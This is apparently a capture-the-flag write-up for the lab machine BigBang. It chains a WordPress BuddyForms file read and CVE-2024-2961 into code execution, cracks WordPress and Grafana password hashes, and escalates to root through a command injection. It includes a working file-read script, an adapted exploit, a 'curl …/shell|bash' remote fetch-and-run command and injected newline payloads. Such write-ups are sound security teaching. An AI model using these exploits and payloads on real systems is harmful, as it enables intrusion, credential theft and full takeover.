Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_ 256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Besides the SSH port there’s a HTTP server running and nmap notes a redirect to blog.bigbang.htb
therefore I add this and the second-level domain to my /etc/hosts
file.
Execution
Browsing to blog.bigbang.htb
shows a web page for the Big Bang
physics university. According to the HTML source it’s based upon WordPress v6.5.4. Scrolling towards the button reveals a review section, a login form and another form to post a review. The caption mentions it’s powered by BuddyForms.
Running wpscan confirms the WordPress version and lists 2.7.7
as the version for BuddyForms.
$ wpscan --url http://blog.bigbang.htb
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.62 (Debian)
| - X-Powered-By: PHP/8.3.2
| Found By: Headers (Passive Detection)
| Confidence: 100%
--- SNIP ---
[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
| Found By: Rss Generator (Passive Detection)
| - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
| - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
--- SNIP ---
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] buddyforms
| Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
| Last Updated: 2025-02-27T23:01:00.000Z
| [!] The version is out of date, the latest version is 2.8.17
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 2.7.7 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt
--- SNIP ---
That version should be vulnerable to CVE-2023-26326 and allows the upload of arbitrary files as long as they have a valid PNG signature (GIF89a
). Trying the commands from the blog post, generating a malicious PHAR file and uploading works.
$ cat evil.php
<?php
class Evil{
public function __wakeup() : void {
die("Arbitrary Deserialization");
}
}
//create new Phar
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("GIF89a\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new Evil();
$phar->setMetadata($object);
$phar->stopBuffering();
$ php --define phar.readonly=0 evil.php
The server responds with JSON containing the URL of the uploaded file in the response
key. Unfortunately the phar://
wrapper seems to be disabled or otherwise patched, so exploiting the application as seen in the blog post is not possible.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: blog.bigbang.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: application/x-www-form-urlencoded;
Content-Length: 91
action=upload_image_from_url&url=http://10.10.10.10/evil.phar&id=1&accepted_files=image/gif
Trying to upload any other file only works as long as it’s detected as a PNG file, so theoretically I could read any accessible file as long it conforms to this restriction.
With some php://filter
magic any input can be prefixed with arbitrary values1. A small tool called wrapwrap makes this pretty straight-forward. It takes a file, a prefix, a suffix and the number of bytes to dump as parameters and generates a filter chain that produces the desired results.
$ python wrapwrap.py /etc/passwd 'GIF89a' '' 100000
[!] Ignoring nb_bytes value since there is no suffix
[+] Wrote filter chain to chain.txt (size=1444).
$ cat chain.txt
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passw
Using the tool to read /etc/passwd
returns a link to the PNG file containing the contents of the passwd file. It’s obviously prefixed with GIF89a
and it does miss the very last byte but this should be sufficient to read files on the host.
Since it’s a multi-step process, I decide to write a small Python script to automate them. It runs in a loop, asks for the file path and then retrieves the contents from the server. Optionally the path can be prefixed with dump:
to write the file contents to disk instead of printing them.
import requests
SESSION = requests.Session()
# SESSION.proxies = {'http': 'http://127.0.0.1:8080'}
FILTER = 'php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.
iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.icon
v.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decod
e|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.ic
onv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.bas
e64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.ba
se64-decode/resource='
def read_file(path, dump=False):
print(f'[!] Reading {path}')
data = {'id': 1,
'accepted_files': 'image/gif',
'action': 'upload_image_from_url',
'url': FILTER + path}
resp = SESSION.post('http://blog.bigbang.htb/wp-admin/admin-ajax.php',
headers={'Content-Type': 'application/x-www-form-urlencoded'},
data={
'id': 1,
'accepted_files': 'image/gif',
'action': 'upload_image_from_url',
'url': FILTER + path},
).json()
upload = resp.get('response', '')
if not upload or 'File type' in upload:
print('[!] Error')
return
print(f'[!] Moved file to {upload}')
resp = SESSION.get(upload)
if dump:
# Write response to a file
filename = path.split('/')[-1]
with open(filename, 'wb') as f:
# Files are missing bytes...
f.write(resp.content[6:] + b'\0' * 7)
print(f'[!] Written {f.tell()} bytes to {filename}')
else:
print(resp.text[6:])
def main():
while True:
try:
f = input('> ')
read_file(f.removeprefix('dump:'), dump=f.startswith('dump:'))
except (KeyboardInterrupt, EOFError):
break
if __name__ == '__main__':
main()
Unfortunately none of the files available to me provide any leads. During the search for exploits in BuddyForms another blog post turned up, showing an alternate approach to turn the CVE into a RCE without relying on the deserialisation. CVE-2024-2961 is actually a bug in glibc that can be triggered by using filter chains.
The blog post is from the same people that made wrapwrap and they provide a PoC for this vulnerability as well. It needs to be adjusted to the web application running on blog.bigbang.htb
.
Most of the code can be recycled from the read_files.py
script. Additionally the self.check_vulnerable()
in the run
method has to be commented out, because the missing byte at the end the read files makes the check fail.
#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#
from __future__ import annotations
import base64
import urllib
import zlib
from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError
from pwn import *
from ten import *
HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
class Remote:
"""A helper class to send the payload and download files.
The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.
The code here serves as an example that attacks a page that looks like:
Tweak it to fit your target, and start the exploit.
"""
FILTER = 'php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource='
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
if path.startswith('php://'):
p = urllib.parse.quote_plus(path)
else:
p = self.FILTER + path
data = {'id': 1,
'accepted_files': 'image/gif',
'action': 'upload_image_from_url',
'url': p}
resp = self.session.post(self.url,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
data=data).json()
return self.session.get(resp['response'])
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
resp = self.send(path)
return resp.content[6:] + b'\0' * 7
Running the script with the URL of the vulnerable endpoint and the command to curl
my web server downloads the memory map from /proc/self/maps
and the libc
file used by the application. Then it calculates the necessary filter chain and sends it to the endpoint. This generates a hit on my server.
$ python cnext-exploit.py "http://blog.bigbang.htb/wp-admin/admin-ajax.php" "curl http://10.10.10.10"
--- SNIP ---
$ python cnext-exploit.py "http://blog.bigbang.htb/wp-admin/admin-ajax.php" "curl http://10.10.14.110/shell|bash"
[*] Potential heaps: 0x7f8295e00040, 0x7f8295c00040, 0x7f8294800040, 0x7f8292000040, 0x7f8291800040, 0x7f8290c00040 (using first)
[*] Heap address: 0x7f8295e00040
EXPLOIT SUCCESS
I follow that up with command that retrieves a file with a reverse shell and executes it. This way I get a callback as www-data
and I’m dropped into /var/www/html/wordpress/wp-admin
within a Docker container.
Privilege Escalation
Shell as shawking
As www-data
I have access to the WordPress configuration and can read the credentials for the database user.
<?php
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'wp_user' );
/** Database password */
define( 'DB_PASSWORD', 'wp_password' );
/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
The Docker container does not contain the mysql
binary therefore I download chisel from my host and use it to open a SOCKS proxy. Through the proxy I can access the MySQL database on 172.17.0.1
with the credentials from the config. The table wp_users
contains just two rows, root
and shawking
.
$ proxychains -q mysql -h 172.17.0.1 \
-u wp_user \
-p'wp_password' \
-D wordpress \
--skip-ssl-verify-server-cert
MySQL [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.028 sec)
MySQL [wordpress]> select * from wp_users;
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
| 1 | root | $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1 | root | root@bigbang.htb | http://blog.bigbang.htb | 2024-05-31 13:06:58 | | 0 | root |
| 3 | shawking | $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./ | shawking | shawking@bigbang.htb | | 2024-06-01 10:39:55 | | 0 | Stephen Hawking |
+----+------------+------------------------------------+---------------+----------------------+-------------------------+---------------------+---------------------+-------------+-----------------+
2 rows in set (0.022 sec)
The hash for shawking
cracks rather fast and returns quantumphysics
as the clear text password. Those credentials allow me to login via SSH and collect the first flag.
$ hashcat -m 400 '$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./' /usr/share/wordlists/rockyou.txt
--- SNIP ---
$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./:quantumphysics
--- SNIP ---
Shell as developer
User shawking
is not able to run anything with sudo
but listing the processes shows Grafana is running in another Docker container.
$ ps -ewwo user,pid,ppid,cmd
USER PID PPID CMD
--- SNIP ---
root 1419 1166 /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 80 -container-ip 172.17.0.2 -container-port 80
root 1424 1166 /usr/bin/docker-proxy -proto tcp -host-ip :: -host-port 80 -container-ip 172.17.0.2 -container-port 80
root 1444 1 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 8e3a72b5e980ad947d6353b65ba227a3267ad600819617b1f1d980bdc0f2da5f -address /run/containerd/containerd.sock
root 1468 1444 apache2 -DFOREGROUND
root 1512 1166 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 3000 -container-ip 172.17.0.3 -container-port 3000
root 1534 1 /usr/bin/containerd-shim-runc-v2 -namespace moby -id de64f0959084f468309ffd4cf39b3c1d53a354848190509888302eeacbd14a18 -address /run/containerd/containerd.sock
root 1555 1534 grafana server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning
root 1591 1166 /usr/bin/docker-proxy -proto tcp -host-ip 172.17.0.1 -host-port 3306 -container-ip 172.17.0.4 -container-port 3306
--- SNIP ---
Looking around on the host there’s a file called grafana.db
in /opt/data
, likely the database in use. Once again the system is lacking the needed binaries to read the (SQLite3) database, so I transfer the file to my host via scp. There I can find two more users with their password hash and the salted used to generate it.
$ scp shawking@bigbang.htb:/opt/data/grafana.db .
$ sqlite3 grafana.db
sqlite> .tables
alert library_element_connection
alert_configuration login_attempt
alert_configuration_history migration_log
alert_image ngalert_configuration
alert_instance org
alert_notification org_user
alert_notification_state permission
alert_rule playlist
alert_rule_tag playlist_item
alert_rule_version plugin_setting
annotation preferences
annotation_tag provenance_type
anon_device query_history
api_key query_history_star
builtin_role quota
cache_data role
cloud_migration secrets
cloud_migration_run seed_assignment
correlation server_lock
dashboard session
dashboard_acl short_url
dashboard_provisioning signing_key
dashboard_public sso_setting
dashboard_snapshot star
dashboard_tag tag
dashboard_version team
data_keys team_member
data_source team_role
entity_event temp_user
file test_data
file_meta user
folder user_auth
kv_store user_auth_token
library_element user_role
sqlite> select login,password,salt from user;
admin|441a715bd788e928170be7954b17cb19de835a2dedfdece8c65327cb1d9ba6bd47d70edb7421b05d9706ba6147cb71973a34|CFn7zMsQpf
developer|7e8018a4210efbaeb12f0115580a476fe8f98a4f9bada2720e652654860c59db93577b12201c0151256375d6f883f1b8d960|4umebBJucv
Grafana uses PBKDF2 with SHA256 and 10000 iterations2. Hashcat mode 10900
wants the following format:
sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
sha256:<iterations>:<base64 encoded salt>:<base64 encoded hash>
The salt is stored as string but the password hash as hex, so this one has to be decoded first. Encoding both values as base64 and using 10000
iterations results in the following line that hashcat takes as input and cracks after a few seconds.
$ cat hash
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=
$ hashcat -m 10900 hash /usr/share/wordlists/rockyou.txt
--- SNIP ---
sha256:10000:NHVtZWJCSnVjdg==:foAYpCEO+66xLwEVWApHb+j5ik+braJyDmUmVIYMWduTV3sSIBwBUSVjddb4g/G42WA=:bigbang
--- SNIP ---
Shell as root
After changing to the user developer
I find an Android app in ~/android
and I grab this file with scp.
$ ls -la ~/android
total 2424
drwxrwxr-x 2 developer developer 4096 Jun 7 2024 .
drwxr-x--- 4 developer developer 4096 Jan 17 11:38 ..
-rw-rw-r-- 1 developer developer 2470974 Jun 7 2024 satellite-app.apk
Loading the APK file into jadx-gui decompiles the code into a readable format. Searching the code base for bigbang.htb
shows multiple hits. Apparently the app communicates with http://app.bigbang.htb:9090
and there are at least two endpoints, /login
and /command
.
Trying to access http://127.0.0.1:9090/login
from the target complains about missing parameters in the JSON data. Adding the credentials for the developer
account returns an access_token
.
$ curl -X POST http://127.0.0.1:9090/login \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Host: app.bigbang.htb" \
-d {}
{"error":"Missing username or password"}
$ curl -X POST http://127.0.0.1:9090/login \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Host: app.bigbang.htb" \
-d '{"username": "developer", "password": "bigbang"}'
{"access_token":"eyJ0<REDACTED>o8"}
The same trick unfortunately does not work for the /command
endpoint and the error messages does not list the expected parameters.
$ export ACCESS_TOKEN=eyJ0<REDACTED>o8
$ curl -X POST http://127.0.0.1:9090/command \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Host: app.bigbang.htb" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
-d '{}'
{"error":"Invalid command"}
Searching the code base again for /command
returns another snippet that documents the necessary parameters for the endpoint. The command send_image
is hardcoded but output_file
is a user-controlled string.
Providing a dummy output_file
prints a rather general error. Then I check for command injection by using a new-line (\n
) followed by a sleep command. Timing the execution shows the delay so my input is passed to a shell eventually.
$ export ACCESS_TOKEN=eyJ0<REDACTED>o8
$ curl -X POST http://127.0.0.1:9090/command \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Host: app.bigbang.htb" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
-d '{"command": "send_image", "output_file": "/tmp/test.png"}'
{"error":"Error generating image: "}
$ time curl -X POST http://127.0.0.1:9090/command \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Host: app.bigbang.htb" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
-d '{"command": "send_image", "output_file": "/tmp/test.png\nsleep 5"}'
{"error":"Error reading image file: [Errno 2] No such file or directory: '/tmp/test.png\\nsleep 5'"}
real 0m5.027s
user 0m0.004s
sys 0m0.008s
I place a simple reverse shell into /tmp/shell
and repeat the previous command with \nbash /tmp/shell
as input and get a shell as root
.
$ curl -X POST http://127.0.0.1:9090/command \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "Host: app.bigbang.htb" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
-d '{"command": "send_image", "output_file": "/tmp/test.png\nbash /tmp/shell"}'
# Hangs...
Attack Path
flowchart TD subgraph "Execution" A(WordPress) -->|CVE-2023–26326| B(File Read) A & B -->|CVE-2024-2961| C(Shell as www-data in container) end subgraph "Privilege Escalation" C -->|Access to WordPress database| D(Password Hashes) D -->|Crack Hashes| E(Shell as shawking) E -->|Access to Grafana database| F(Password Hashes) F -->|Crack Hashes| G(Shell as developer) G -->|Access to Android App| H(Decompiled Code) H -->|Command injection in backend application| I(Shell as root) end